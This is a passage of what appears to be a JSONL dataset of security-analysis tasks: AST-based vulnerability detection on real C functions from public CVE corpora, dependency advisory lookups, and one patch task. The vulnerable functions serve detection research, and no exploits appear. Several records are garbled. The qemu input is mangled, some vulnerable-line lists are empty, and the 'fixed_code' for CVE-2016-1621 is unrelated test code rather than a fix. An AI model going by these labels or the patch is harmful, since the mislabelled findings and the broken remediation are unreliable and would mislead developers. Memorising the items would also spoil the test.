jas_alloc2(image->maxcmpts_,\n \t sizeof(jas_image_cmpt_t *)))) {\n\t\tjas_image_destroy(image);\n\t\treturn 0;\n \t}\n \t/* Initialize in case of failure. */\n \tfor (cmptno = 0; cmptno < image->maxcmpts_; ++cmptno) {\n \t\timage->cmpts_[cmptno] = 0;\n \t}\n \n \t/* Compute the approximate raw size of the image. */\n \trawsize = 0;\n \tfor (cmptno = 0, cmptparm = cmptparms; cmptno < numcmpts; ++cmptno,\n\t ++cmptparm) {\n\t\trawsize += cmptparm->width * cmptparm->height *\n\t\t (cmptparm->prec + 7) / 8;\n\t}\n \t/* Decide whether to buffer the image data in memory, based on the\n \t raw size of the image. */\n \tinmem = (rawsize < JAS_IMAGE_INMEMTHRESH);\n \n \t/* Create the individual image components. */\n \tfor (cmptno = 0, cmptparm = cmptparms; cmptno < numcmpts; ++cmptno,\n \t ++cmptparm) {\n \t\tif (!(image->cmpts_[cmptno] = jas_image_cmpt_create(cmptparm->tlx,\n \t\t cmptparm->tly, cmptparm->hstep, cmptparm->vstep,\n \t\t cmptparm->width, cmptparm->height, cmptparm->prec,\n \t\t cmptparm->sgnd, inmem))) {\n\t\t\tjas_image_destroy(image);\n\t\t\treturn 0;\n \t\t}\n \t\t++image->numcmpts_;\n \t}\n\n\t/* Determine the bounding box for all of the components on the\n\t reference grid (i.e., the image area) */\n \tjas_image_setbbox(image);\n \n \treturn image;\n }\n", "output": "{\n \"vulnerable\": true,\n \"cwe\": \"CWE-190\",\n \"cwe_name\": \"Integer Overflow\",\n \"severity\": \"high\",\n \"cve\": \"CVE-2016-9557\",\n \"project\": \"jasper\",\n \"vulnerable_lines\": [\n 5,\n 11,\n 16,\n 22,\n 23,\n 48,\n 49\n ],\n \"sink_node_type\": \"function_definition\",\n \"ast_path\": [\n \"translation_unit\",\n \"function_definition\"\n ],\n \"token_ast_map\": [\n {\n \"token\": \"jas_image_t\",\n \"ast_node\": \"type_identifier\",\n \"line\": 1,\n \"col\": 0\n },\n {\n \"token\": \"*\",\n \"ast_node\": \"*\",\n \"line\": 1,\n \"col\": 12\n },\n {\n \"token\": \"jas_image_create\",\n \"ast_node\": \"identifier\",\n \"line\": 1,\n \"col\": 13\n },\n {\n \"token\": \"(\",\n \"ast_node\": \"(\",\n \"line\": 1,\n \"col\": 29\n },\n {\n \"token\": \"int\",\n \"ast_node\": \"primitive_type\",\n \"line\": 1,\n \"col\": 30\n },\n {\n \"token\": \"numcmpts\",\n \"ast_node\": \"identifier\",\n \"line\": 1,\n \"col\": 34\n },\n {\n \"token\": \",\",\n \"ast_node\": \",\",\n \"line\": 1,\n \"col\": 42\n },\n {\n \"token\": \"jas_image_cmptparm_t\",\n \"ast_node\": \"type_identifier\",\n \"line\": 1,\n \"col\": 44\n },\n {\n \"token\": \"*\",\n \"ast_node\": \"*\",\n \"line\": 1,\n \"col\": 65\n },\n {\n \"token\": \"cmptparms\",\n \"ast_node\": \"identifier\",\n \"line\": 1,\n \"col\": 66\n },\n {\n \"token\": \",\",\n \"ast_node\": \",\",\n \"line\": 1,\n \"col\": 75\n },\n {\n \"token\": \"int\",\n \"ast_node\": \"primitive_type\",\n \"line\": 2,\n \"col\": 3\n },\n {\n \"token\": \"clrspc\",\n \"ast_node\": \"identifier\",\n \"line\": 2,\n \"col\": 7\n },\n {\n \"token\": \")\",\n \"ast_node\": \")\",\n \"line\": 2,\n \"col\": 13\n },\n {\n \"token\": \"{\",\n \"ast_node\": \"{\",\n \"line\": 3,\n \"col\": 1\n },\n {\n \"token\": \"jas_image_t\",\n \"ast_node\": \"type_identifier\",\n \"line\": 4,\n \"col\": 2\n },\n {\n \"token\": \"*\",\n \"ast_node\": \"*\",\n \"line\": 4,\n \"col\": 14\n },\n {\n \"token\": \"image\",\n \"ast_node\": \"identifier\",\n \"line\": 4,\n \"col\": 15\n },\n {\n \"token\": \";\",\n \"ast_node\": \";\",\n \"line\": 4,\n \"col\": 20\n },\n {\n \"token\": \"uint_fast32_t\",\n \"ast_node\": \"type_identifier\",\n \"line\": 5,\n \"col\": 1\n },\n {\n \"token\": \"rawsize\",\n \"ast_node\": \"identifier\",\n \"line\": 5,\n \"col\": 15\n },\n {\n \"token\": \";\",\n \"ast_node\": \";\",\n \"line\": 5,\n \"col\": 22\n },\n {\n \"token\": \"uint_fast32_t\",\n \"ast_node\": \"type_identifier\",\n \"line\": 6,\n \"col\": 2\n },\n {\n \"token\": \"inmem\",\n \"ast_node\": \"identifier\",\n \"line\": 6,\n \"col\": 16\n },\n {\n \"token\": \";\",\n \"ast_node\": \";\",\n \"line\": 6,\n \"col\": 21\n },\n {\n \"token\": \"int\",\n \"ast_node\": \"primitive_type\",\n \"line\": 7,\n \"col\": 2\n },\n {\n \"token\": \"cmptno\",\n \"ast_node\": \"identifier\",\n \"line\": 7,\n \"col\": 6\n },\n {\n \"token\": \";\",\n \"ast_node\": \";\",\n \"line\": 7,\n \"col\": 12\n },\n {\n \"token\": \"jas_image_cmptparm_t\",\n \"ast_node\": \"type_identifier\",\n \"line\": 8,\n \"col\": 2\n },\n {\n \"token\": \"*\",\n \"ast_node\": \"*\",\n \"line\": 8,\n \"col\": 23\n },\n {\n \"token\": \"cmptparm\",\n \"ast_node\": \"identifier\",\n \"line\": 8,\n \"col\": 24\n },\n {\n \"token\": \";\",\n \"ast_node\": \";\",\n \"line\": 8,\n \"col\": 32\n },\n {\n \"token\": \"if\",\n \"ast_node\": \"if\",\n \"line\": 10,\n \"col\": 2\n },\n {\n \"token\": \"(\",\n \"ast_node\": \"(\",\n \"line\": 10,\n \"col\": 5\n },\n {\n \"token\": \"!\",\n \"ast_node\": \"!\",\n \"line\": 10,\n \"col\": 6\n },\n {\n \"token\": \"(\",\n \"ast_node\": \"(\",\n \"line\": 10,\n \"col\": 7\n },\n {\n \"token\": \"image\",\n \"ast_node\": \"identifier\",\n \"line\": 10,\n \"col\": 8\n },\n {\n \"token\": \"=\",\n \"ast_node\": \"=\",\n \"line\": 10,\n \"col\": 14\n },\n {\n \"token\": \"jas_image_create0\",\n \"ast_node\": \"identifier\",\n \"line\": 10,\n \"col\": 16\n },\n {\n \"token\": \"(\",\n \"ast_node\": \"(\",\n \"line\": 10,\n \"col\": 33\n },\n {\n \"token\": \")\",\n \"ast_node\": \")\",\n \"line\": 10,\n \"col\": 34\n },\n {\n \"token\": \")\",\n \"ast_node\": \")\",\n \"line\": 10,\n \"col\": 35\n },\n {\n \"token\": \")\",\n \"ast_node\": \")\",\n \"line\": 10,\n \"col\": 36\n },\n {\n \"token\": \"{\",\n \"ast_node\": \"{\",\n \"line\": 10,\n \"col\": 38\n },\n {\n \"token\": \"return\",\n \"ast_node\": \"return\",\n \"line\": 11,\n \"col\": 2\n },\n {\n \"token\": \"0\",\n \"ast_node\": \"number_literal\",\n \"line\": 11,\n \"col\": 9\n },\n {\n \"token\": \";\",\n \"ast_node\": \";\",\n \"line\": 11,\n \"col\": 10\n },\n {\n \"token\": \"}\",\n \"ast_node\": \"}\",\n \"line\": 12,\n \"col\": 2\n },\n {\n \"token\": \"image\",\n \"ast_node\": \"identifier\",\n \"line\": 14,\n \"col\": 2\n },\n {\n \"token\": \"->\",\n \"ast_node\": \"->\",\n \"line\": 14,\n \"col\": 7\n },\n {\n \"token\": \"clrspc_\",\n \"ast_node\": \"field_identifier\",\n \"line\": 14,\n \"col\": 9\n },\n {\n \"token\": \"=\",\n \"ast_node\": \"=\",\n \"line\": 14,\n \"col\": 17\n },\n {\n \"token\": \"clrspc\",\n \"ast_node\": \"identifier\",\n \"line\": 14,\n \"col\": 19\n },\n {\n \"token\": \";\",\n \"ast_node\": \";\",\n \"line\": 14,\n \"col\": 25\n },\n {\n \"token\": \"image\",\n \"ast_node\": \"identifier\",\n \"line\": 15,\n \"col\": 2\n },\n {\n \"token\": \"->\",\n \"ast_node\": \"->\",\n \"line\": 15,\n \"col\": 7\n },\n {\n \"token\": \"maxcmpts_\",\n \"ast_node\": \"field_identifier\",\n \"line\": 15,\n \"col\": 9\n },\n {\n \"token\": \"=\",\n \"ast_node\": \"=\",\n \"line\": 15,\n \"col\": 19\n },\n {\n \"token\": \"numcmpts\",\n \"ast_node\": \"identifier\",\n \"line\": 15,\n \"col\": 21\n },\n {\n \"token\": \";\",\n \"ast_node\": \";\",\n \"line\": 15,\n \"col\": 29\n }\n ],\n \"explanation\": \"Function was modified by the security fix for this CVE; the changed lines mark the vulnerable region.\",\n \"remediation\": \"Apply the upstream fix; see the patched version for the corrected logic.\"\n}"} {"task": "supply_chain_sca", "language": "csharp", "cwe": "CWE-385", "source": "OSV (osv.dev) / GitHub Advisory Database", "instruction": "You are a software composition analysis (SCA) engine. Determine whether the dependency below is affected by a known supply-chain vulnerability and report the finding as JSON.", "input": "Ecosystem: NuGet\nManifest: packages.config / .csproj (NuGet)\nPackage: Devolutions.XTS.NET\nInstalled version: <2024.11.26\nSummary: Devolutions.XTS.NET Vulnerable to Timing Attack on GF Multiplications", "output": "{\n \"vulnerable\": true,\n \"advisory_id\": \"GHSA-j6vm-4r7g-x4gr\",\n \"cve\": \"CVE-2024-11862\",\n \"aliases\": [\n \"CVE-2024-11862\"\n ],\n \"cwe\": \"CWE-385\",\n \"ecosystem\": \"NuGet\",\n \"package\": \"Devolutions.XTS.NET\",\n \"severity\": \"moderate\",\n \"affected_versions\": \">=0, <2024.11.26\",\n \"fixed_version\": \"2024.11.26\",\n \"finding\": \"Devolutions.XTS.NET Vulnerable to Timing Attack on GF Multiplications\",\n \"remediation\": \"Upgrade Devolutions.XTS.NET to 2024.11.26 or later.\"\n}"} {"task": "ast_vuln_detection", "language": "c", "cwe": "CWE-787", "source": "BigVul (real CVE-fixed functions)", "instruction": "You are a static application security testing (SAST) engine. Parse the C function into its AST, map tokens to AST nodes, decide whether it contains a security vulnerability, and report as JSON.", "input": "int URI_FUNC(ComposeQueryEngine)(URI_CHAR * dest,\n\t\tconst URI_TYPE(QueryList) * queryList,\n\t\tint maxChars, int * charsWritten, int * charsRequired,\n\t\tUriBool spaceToPlus, UriBool normalizeBreaks) {\n\tUriBool firstItem = URI_TRUE;\n\tint ampersandLen = 0; /* increased to 1 from second item on */\n\tURI_CHAR * write = dest;\n\n\t/* Subtract terminator */\n\tif (dest == NULL) {\n\t\t*charsRequired = 0;\n\t} else {\n\t\tmaxChars--;\n\t}\n\t\t\t\n\twhile (queryList != NULL) {\n\t\tconst URI_CHAR * const key = queryList->key;\n\t\tconst URI_CHAR * const value = queryList->value;\n\t\tconst int worstCase = (normalizeBreaks == URI_TRUE ? 6 : 3);\n\t\tconst int keyLen = (key == NULL) ? 0 : (int)URI_STRLEN(key);\n\t\tconst int keyRequiredChars = worstCase * keyLen;\n\t\tconst int valueLen = (value == NULL) ? 0 : (int)URI_STRLEN(value);\n\t\tconst int valueRequiredChars = worstCase * valueLen;\n\n\t\tif (dest == NULL) {\n\t\t\tif (firstItem == URI_TRUE) {\n\t\t\t\tampersandLen = 1;\n\t\t\t\tfirstItem = URI_FALSE;\n\t\t\t}\n\n\t\t\t(*charsRequired) += ampersandLen + keyRequiredChars + ((value == NULL)\n\t\t\t\t\t\t? 0\n\t\t\t\t\t\t: 1 + valueRequiredChars);\n\t\t} else {\n\t\t\tURI_CHAR * afterKey;\n\n\t\t\tif ((write - dest) + ampersandLen + keyRequiredChars > maxChars) {\n\t\t\t\treturn URI_ERROR_OUTPUT_TOO_LARGE;\n\t\t\t}\n \n \t\t\t/* Copy key */\n \t\t\tif (firstItem == URI_TRUE) {\n \t\t\t\tfirstItem = URI_FALSE;\n \t\t\t} else {\n \t\t\t\twrite[0] = _UT('&');\n\t\t\t\twrite++;\n\t\t\t}\n\t\t\tafterKey = URI_FUNC(EscapeEx)(key, key + keyLen,\n\t\t\t\t\twrite, spaceToPlus, normalizeBreaks);\n\t\t\twrite += (afterKey - write);\n\n\t\t\tif (value != NULL) {\n\t\t\t\tURI_CHAR * afterValue;\n\n\t\t\t\tif ((write - dest) + 1 + valueRequiredChars > maxChars) {\n\t\t\t\t\treturn URI_ERROR_OUTPUT_TOO_LARGE;\n\t\t\t\t}\n\n\t\t\t\t/* Copy value */\n\t\t\t\twrite[0] = _UT('=');\n\t\t\t\twrite++;\n\t\t\t\tafterValue = URI_FUNC(EscapeEx)(value, value + valueLen,\n\t\t\t\t\t\twrite, spaceToPlus, normalizeBreaks);\n\t\t\t\twrite += (afterValue - write);\n\t\t\t}\n\t\t}\n\n\t\tqueryList = queryList->next;\n\t}\n\n\tif (dest != NULL) {\n\t\twrite[0] = _UT('\\0');\n\t\tif (charsWritten != NULL) {\n\t\t\t*charsWritten = (int)(write - dest) + 1; /* .. for terminator */\n\t\t}\n\t}\n\n\treturn URI_SUCCESS;\n}\n", "output": "{\n \"vulnerable\": true,\n \"cwe\": \"CWE-787\",\n \"cwe_name\": \"Out-of-bounds Write\",\n \"severity\": \"high\",\n \"cve\": \"CVE-2018-19198\",\n \"project\": \"uriparser\",\n \"vulnerable_lines\": [],\n \"sink_node_type\": null,\n \"ast_path\": null,\n \"token_ast_map\": null,\n \"explanation\": \"Function was modified by the security fix for this CVE; the changed lines mark the vulnerable region.\",\n \"remediation\": \"Apply the upstream fix; see the patched version for the corrected logic.\"\n}"} {"task": "supply_chain_sca", "language": "go", "cwe": "CWE-354", "source": "OSV (osv.dev) / GitHub Advisory Database", "instruction": "Analyze the following third-party dependency for known supply-chain security advisories and output the result as JSON.", "input": "Ecosystem: Go\nManifest: go.mod\nPackage: github.com/theupdateframework/go-tuf\nInstalled version: <0.3.0\nSummary: Improper Validation of Integrity Check Value in go-tuf", "output": "{\n \"vulnerable\": true,\n \"advisory_id\": \"GHSA-66x3-6cw3-v5gj\",\n \"cve\": \"CVE-2022-29173\",\n \"aliases\": [\n \"CVE-2022-29173\",\n \"GO-2022-0444\"\n ],\n \"cwe\": \"CWE-354\",\n \"ecosystem\": \"Go\",\n \"package\": \"github.com/theupdateframework/go-tuf\",\n \"severity\": \"high\",\n \"affected_versions\": \">=0, <0.3.0\",\n \"fixed_version\": \"0.3.0\",\n \"finding\": \"Improper Validation of Integrity Check Value in go-tuf\",\n \"remediation\": \"Upgrade github.com/theupdateframework/go-tuf to 0.3.0 or later.\"\n}"} {"task": "ast_vuln_detection", "language": "c", "cwe": null, "source": "DiverseVul (real non-vulnerable functions)", "instruction": "Perform AST-based static analysis on the following real-world C function. Determine if it is vulnerable, and if so locate the vulnerable region and report a structured finding.", "input": "unsigned long ktime_divns(const ktime_t kt, s64 div)\n{\n\tu64 dclc, inc, dns;\n\tint sft = 0;\n\n\tdclc = dns = ktime_to_ns(kt);\n\tinc = div;\n\t/* Make sure the divisor is less than 2^32: */\n\twhile (div >> 32) {\n\t\tsft++;\n\t\tdiv >>= 1;\n\t}\n\tdclc >>= sft;\n\tdo_div(dclc, (unsigned long) div);\n\n\treturn (unsigned long) dclc;\n}", "output": "{\n \"vulnerable\": false,\n \"cwe\": null,\n \"findings\": [],\n \"project\": \"linux-2.6\",\n \"note\": \"Non-vulnerable function from a real project (DiverseVul label 0).\",\n \"ast_top_level\": [\n \"translation_unit\",\n \"function_definition\"\n ]\n}"} {"task": "ast_vuln_detection", "language": "c", "cwe": "CWE-399", "source": "BigVul (real CVE-fixed functions)", "instruction": "Perform AST-based static analysis on the following real-world C function. Determine if it is vulnerable, and if so locate the vulnerable region and report a structured finding.", "input": "static void mcf_fec_do_tx(mcf_fec_state *s)\n{\n uint32_t addr;\n uint32_t addr;\n mcf_fec_bd bd;\n int frame_size;\n int len;\n uint8_t frame[FEC_MAX_FRAME_SIZE];\n uint8_t *ptr;\n \n ptr = frame;\n ptr = frame;\n frame_size = 0;\n addr = s->tx_descriptor;\n while (1) {\n mcf_fec_read_bd(&bd, addr);\n DPRINTF(\"tx_bd %x flags %04x len %d data %08x\\n\",\n addr, bd.flags, bd.length, bd.data);\n /* Run out of descriptors to transmit. */\n break;\n }\n len = bd.length;\n if (frame_size + len > FEC_MAX_FRAME_SIZE) {\n len = FEC_MAX_FRAME_SIZE - frame_size;\n s->eir |= FEC_INT_BABT;\n }\n cpu_physical_memory_read(bd.data, ptr, len);\n ptr += len;\n frame_size += len;\n if (bd.flags & FEC_BD_L) {\n /* Last buffer in frame. */\n DPRINTF(\"Sending packet\\n\");\n qemu_send_packet(qemu_get_queue(s->nic), frame, len);\n ptr = frame;\n frame_size = 0;\n s->eir |= FEC_INT_TXF;\n }\n s->eir |= FEC_INT_TXB;\n bd.flags &= ~FEC_BD_R;\n /* Write back the modified descriptor. */\n mcf_fec_write_bd(&bd, addr);\n /* Advance to the next descriptor. */\n if ((bd.flags & FEC_BD_W) != 0) {\n addr = s->etdsr;\n } else {\n addr += 8;\n }\n }\n", "output": "{\n \"vulnerable\": true,\n \"cwe\": \"CWE-399\",\n \"cwe_name\": \"Resource Management Errors\",\n \"severity\": \"high\",\n \"cve\": \"CVE-2016-7908\",\n \"project\": \"qemu\",\n \"vulnerable_lines\": [\n 7,\n 15\n ],\n \"sink_node_type\": \"function_definition\",\n \"ast_path\": [\n \"translation_unit\",\n \"function_definition\"\n ],\n \"token_ast_map\": [\n {\n \"token\": \"static\",\n \"ast_node\": \"static\",\n \"line\": 1,\n \"col\": 0\n },\n {\n \"token\": \"void\",\n \"ast_node\": \"primitive_type\",\n \"line\": 1,\n \"col\": 7\n },\n {\n \"token\": \"mcf_fec_do_tx\",\n \"ast_node\": \"identifier\",\n \"line\": 1,\n \"col\": 12\n },\n {\n \"token\": \"(\",\n \"ast_node\": \"(\",\n \"line\": 1,\n \"col\": 25\n },\n {\n \"token\": \"mcf_fec_state\",\n \"ast_node\": \"type_identifier\",\n \"line\": 1,\n \"col\": 26\n },\n {\n \"token\": \"*\",\n \"ast_node\": \"*\",\n \"line\": 1,\n \"col\": 40\n },\n {\n \"token\": \"s\",\n \"ast_node\": \"identifier\",\n \"line\": 1,\n \"col\": 41\n },\n {\n \"token\": \")\",\n \"ast_node\": \")\",\n \"line\": 1,\n \"col\": 42\n },\n {\n \"token\": \"{\",\n \"ast_node\": \"{\",\n \"line\": 2,\n \"col\": 0\n },\n {\n \"token\": \"uint32_t\",\n \"ast_node\": \"primitive_type\",\n \"line\": 3,\n \"col\": 4\n },\n {\n \"token\": \"addr\",\n \"ast_node\": \"identifier\",\n \"line\": 3,\n \"col\": 13\n },\n {\n \"token\": \";\",\n \"ast_node\": \";\",\n \"line\": 3,\n \"col\": 17\n },\n {\n \"token\": \"uint32_t\",\n \"ast_node\": \"primitive_type\",\n \"line\": 4,\n \"col\": 5\n },\n {\n \"token\": \"addr\",\n \"ast_node\": \"identifier\",\n \"line\": 4,\n \"col\": 14\n },\n {\n \"token\": \";\",\n \"ast_node\": \";\",\n \"line\": 4,\n \"col\": 18\n },\n {\n \"token\": \"mcf_fec_bd\",\n \"ast_node\": \"type_identifier\",\n \"line\": 5,\n \"col\": 5\n },\n {\n \"token\": \"bd\",\n \"ast_node\": \"identifier\",\n \"line\": 5,\n \"col\": 16\n },\n {\n \"token\": \";\",\n \"ast_node\": \";\",\n \"line\": 5,\n \"col\": 18\n },\n {\n \"token\": \"int\",\n \"ast_node\": \"primitive_type\",\n \"line\": 6,\n \"col\": 5\n },\n {\n \"token\": \"frame_size\",\n \"ast_node\": \"identifier\",\n \"line\": 6,\n \"col\": 9\n },\n {\n \"token\": \";\",\n \"ast_node\": \";\",\n \"line\": 6,\n \"col\": 19\n },\n {\n \"token\": \"int\",\n \"ast_node\": \"primitive_type\",\n \"line\": 7,\n \"col\": 4\n },\n {\n \"token\": \"len\",\n \"ast_node\": \"identifier\",\n \"line\": 7,\n \"col\": 8\n },\n {\n \"token\": \";\",\n \"ast_node\": \";\",\n \"line\": 7,\n \"col\": 11\n },\n {\n \"token\": \"uint8_t\",\n \"ast_node\": \"primitive_type\",\n \"line\": 8,\n \"col\": 5\n },\n {\n \"token\": \"frame\",\n \"ast_node\": \"identifier\",\n \"line\": 8,\n \"col\": 13\n },\n {\n \"token\": \"[\",\n \"ast_node\": \"[\",\n \"line\": 8,\n \"col\": 18\n },\n {\n \"token\": \"FEC_MAX_FRAME_SIZE\",\n \"ast_node\": \"identifier\",\n \"line\": 8,\n \"col\": 19\n },\n {\n \"token\": \"]\",\n \"ast_node\": \"]\",\n \"line\": 8,\n \"col\": 37\n },\n {\n \"token\": \";\",\n \"ast_node\": \";\",\n \"line\": 8,\n \"col\": 38\n },\n {\n \"token\": \"uint8_t\",\n \"ast_node\": \"primitive_type\",\n \"line\": 9,\n \"col\": 5\n },\n {\n \"token\": \"*\",\n \"ast_node\": \"*\",\n \"line\": 9,\n \"col\": 13\n },\n {\n \"token\": \"ptr\",\n \"ast_node\": \"identifier\",\n \"line\": 9,\n \"col\": 14\n },\n {\n \"token\": \";\",\n \"ast_node\": \";\",\n \"line\": 9,\n \"col\": 17\n },\n {\n \"token\": \"ptr\",\n \"ast_node\": \"identifier\",\n \"line\": 11,\n \"col\": 4\n },\n {\n \"token\": \"=\",\n \"ast_node\": \"=\",\n \"line\": 11,\n \"col\": 8\n },\n {\n \"token\": \"frame\",\n \"ast_node\": \"identifier\",\n \"line\": 11,\n \"col\": 10\n },\n {\n \"token\": \";\",\n \"ast_node\": \";\",\n \"line\": 11,\n \"col\": 15\n },\n {\n \"token\": \"ptr\",\n \"ast_node\": \"identifier\",\n \"line\": 12,\n \"col\": 5\n },\n {\n \"token\": \"=\",\n \"ast_node\": \"=\",\n \"line\": 12,\n \"col\": 9\n },\n {\n \"token\": \"frame\",\n \"ast_node\": \"identifier\",\n \"line\": 12,\n \"col\": 11\n },\n {\n \"token\": \";\",\n \"ast_node\": \";\",\n \"line\": 12,\n \"col\": 16\n },\n {\n \"token\": \"frame_size\",\n \"ast_node\": \"identifier\",\n \"line\": 13,\n \"col\": 5\n },\n {\n \"token\": \"=\",\n \"ast_node\": \"=\",\n \"line\": 13,\n \"col\": 16\n },\n {\n \"token\": \"0\",\n \"ast_node\": \"number_literal\",\n \"line\": 13,\n \"col\": 18\n },\n {\n \"token\": \";\",\n \"ast_node\": \";\",\n \"line\": 13,\n \"col\": 19\n },\n {\n \"token\": \"addr\",\n \"ast_node\": \"identifier\",\n \"line\": 14,\n \"col\": 5\n },\n {\n \"token\": \"=\",\n \"ast_node\": \"=\",\n \"line\": 14,\n \"col\": 10\n },\n {\n \"token\": \"s\",\n \"ast_node\": \"identifier\",\n \"line\": 14,\n \"col\": 12\n },\n {\n \"token\": \"->\",\n \"ast_node\": \"->\",\n \"line\": 14,\n \"col\": 13\n },\n {\n \"token\": \"tx_descriptor\",\n \"ast_node\": \"field_identifier\",\n \"line\": 14,\n \"col\": 15\n },\n {\n \"token\": \";\",\n \"ast_node\": \";\",\n \"line\": 14,\n \"col\": 28\n },\n {\n \"token\": \"while\",\n \"ast_node\": \"while\",\n \"line\": 15,\n \"col\": 4\n },\n {\n \"token\": \"(\",\n \"ast_node\": \"(\",\n \"line\": 15,\n \"col\": 10\n },\n {\n \"token\": \"1\",\n \"ast_node\": \"number_literal\",\n \"line\": 15,\n \"col\": 11\n },\n {\n \"token\": \")\",\n \"ast_node\": \")\",\n \"line\": 15,\n \"col\": 12\n },\n {\n \"token\": \"{\",\n \"ast_node\": \"{\",\n \"line\": 15,\n \"col\": 14\n },\n {\n \"token\": \"mcf_fec_read_bd\",\n \"ast_node\": \"identifier\",\n \"line\": 16,\n \"col\": 9\n },\n {\n \"token\": \"(\",\n \"ast_node\": \"(\",\n \"line\": 16,\n \"col\": 24\n },\n {\n \"token\": \"&\",\n \"ast_node\": \"&\",\n \"line\": 16,\n \"col\": 25\n }\n ],\n \"explanation\": \"Function was modified by the security fix for this CVE; the changed lines mark the vulnerable region.\",\n \"remediation\": \"Apply the upstream fix; see the patched version for the corrected logic.\"\n}"} {"task": "ast_vuln_detection", "language": "c", "cwe": null, "source": "DiverseVul (real non-vulnerable functions)", "instruction": "Perform AST-based static analysis on the following real-world C function. Determine if it is vulnerable, and if so locate the vulnerable region and report a structured finding.", "input": "static struct atalk_addr *atalk_find_primary(void)\n{\n\tstruct atalk_iface *fiface = NULL;\n\tstruct atalk_addr *retval;\n\tstruct atalk_iface *iface;\n\n\t/*\n\t * Return a point-to-point interface only if\n\t * there is no non-ptp interface available.\n\t */\n\tread_lock_bh(&atalk_interfaces_lock);\n\tfor (iface = atalk_interfaces; iface; iface = iface->next) {\n\t\tif (!fiface && !(iface->dev->flags & IFF_LOOPBACK))\n\t\t\tfiface = iface;\n\t\tif (!(iface->dev->flags & (IFF_LOOPBACK | IFF_POINTOPOINT))) {\n\t\t\tretval = &iface->address;\n\t\t\tgoto out;\n\t\t}\n\t}\n\n\tif (fiface)\n\t\tretval = &fiface->address;\n\telse if (atalk_interfaces)\n\t\tretval = &atalk_interfaces->address;\n\telse\n\t\tretval = NULL;\nout:\n\tread_unlock_bh(&atalk_interfaces_lock);\n\treturn retval;\n}", "output": "{\n \"vulnerable\": false,\n \"cwe\": null,\n \"findings\": [],\n \"project\": \"history\",\n \"note\": \"Non-vulnerable function from a real project (DiverseVul label 0).\",\n \"ast_top_level\": [\n \"translation_unit\",\n \"function_definition\"\n ]\n}"} {"task": "supply_chain_sca", "language": "javascript", "cwe": "CWE-693", "source": "OSV (osv.dev) / GitHub Advisory Database", "instruction": "Act as a SAST/SCA tool. Given the package and version in a project's dependency manifest, detect any known vulnerability and return a structured advisory.", "input": "Ecosystem: npm\nManifest: package.json\nPackage: dompurify\nInstalled version: <3.4.17\nSummary: DOMPurify IN_PLACE: hook that removes a parent or sibling leaves the detached subtree's event handlers armed (incomplete fix for GHSA-p98j-92pf-mc4p)", "output": "{\n \"vulnerable\": true,\n \"advisory_id\": \"GHSA-mrv2-3pqr-j5jr\",\n \"cve\": \"CVE-2026-116803\",\n \"aliases\": [\n \"CVE-2026-116803\"\n ],\n \"cwe\": \"CWE-693\",\n \"ecosystem\": \"npm\",\n \"package\": \"dompurify\",\n \"severity\": \"low\",\n \"affected_versions\": \">=0, <3.4.17\",\n \"fixed_version\": \"3.4.17\",\n \"finding\": \"DOMPurify IN_PLACE: hook that removes a parent or sibling leaves the detached subtree's event handlers armed (incomplete fix for GHSA-p98j-92pf-mc4p)\",\n \"remediation\": \"Upgrade dompurify to 3.4.17 or later.\"\n}"} {"task": "supply_chain_sca", "language": "java", "cwe": "CWE-693", "source": "OSV (osv.dev) / GitHub Advisory Database", "instruction": "Analyze the following third-party dependency for known supply-chain security advisories and output the result as JSON.", "input": "Ecosystem: Maven\nManifest: pom.xml (Maven)\nPackage: org.springframework.security:spring-security-config\nInstalled version: 7.0.0\nSummary: Spring Security Doesn't Correctly Include Servlet Path in Path Matching of HttpSecurity#securityMatchers", "output": "{\n \"vulnerable\": true,\n \"advisory_id\": \"GHSA-4wrg-8wpc-h923\",\n \"cve\": \"CVE-2026-22753\",\n \"aliases\": [\n \"CVE-2026-22753\"\n ],\n \"cwe\": \"CWE-693\",\n \"ecosystem\": \"Maven\",\n \"package\": \"org.springframework.security:spring-security-config\",\n \"severity\": \"high\",\n \"affected_versions\": \">=7.0.0, <7.0.5\",\n \"fixed_version\": \"7.0.5\",\n \"finding\": \"Spring Security Doesn't Correctly Include Servlet Path in Path Matching of HttpSecurity#securityMatchers\",\n \"remediation\": \"Upgrade org.springframework.security:spring-security-config to 7.0.5 or later.\"\n}"} {"task": "vuln_patch", "language": "c", "cwe": "CWE-119", "source": "BigVul (real CVE fix pairs)", "instruction": "Remediate the vulnerability in this C function. Return the fixed code and a short rationale as JSON.", "input": "void fdct8x8_ref(const int16_t *in, int16_t *out, int stride, int tx_type) {\n vp9_fdct8x8_c(in, out, stride);\n }\n", "output": "{\n \"vulnerable\": true,\n \"cwe\": \"CWE-119\",\n \"cwe_name\": \"Improper Restriction of Operations within Memory Buffer Bounds\",\n \"cve\": \"CVE-2016-1621\",\n \"fixed_code\": \"void fdct8x8_ref(const int16_t *in, int16_t *out, int stride, int tx_type) {\\nconst int kSignBiasMaxDiff255 = 1500;\\nconst int kSignBiasMaxDiff15 = 10000;\\n\\ntypedef void (*FdctFunc)(const int16_t *in, tran_low_t *out, int stride);\\ntypedef void (*IdctFunc)(const tran_low_t *in, uint8_t *out, int stride);\\ntypedef void (*FhtFunc)(const int16_t *in, tran_low_t *out, int stride,\\n int tx_type);\\ntypedef void (*IhtFunc)(const tran_low_t *in, uint8_t *out, int stride,\\n int tx_type);\\n\\ntypedef std::tr1::tuple Dct8x8Param;\\ntypedef std::tr1::tuple Ht8x8Param;\\ntypedef std::tr1::tuple Idct8x8Param;\\n\\nvoid reference_8x8_dct_1d(const double in[8], double out[8], int stride) {\\n const double kInvSqrt2 = 0.707106781186547524400844362104;\\n for (int k = 0; k < 8; k++) {\\n out[k] = 0.0;\\n for (int n = 0; n < 8; n++)\\n out[k] += in[n] * cos(kPi * (2 * n + 1) * k / 16.0);\\n if (k == 0)\\n out[k] = out[k] * kInvSqrt2;\\n }\\n }\\n\",\n \"change_summary\": \"Merge Conflict Fix CL to lmp-mr1-release for ag/849478\"\n}"} {"task": "ast_vuln_detection", "language": "c", "cwe": null, "source": "BigVul (real non-vulnerable functions)", "instruction": "Perform AST-based static analysis on the following real-world C function. Determine if it is vulnerable, and if so locate the vulnerable region and report a structured finding.", "input": "static int enable_large_pages(void) {\n#if defined(HAVE_GETPAGESIZES) && defined(HAVE_MEMCNTL)\n int ret = -1;\n size_t sizes[32];\n int avail = getpagesizes(sizes, 32);\n if (avail != -1) {\n size_t max = sizes[0];\n struct memcntl_mha arg = {0};\n int ii;\n\n for (ii = 1; ii < avail; ++ii) {\n if (max < sizes[ii]) {\n max = sizes[ii];\n }\n }\n\n arg.mha_flags = 0;\n arg.mha_pagesize = max;\n 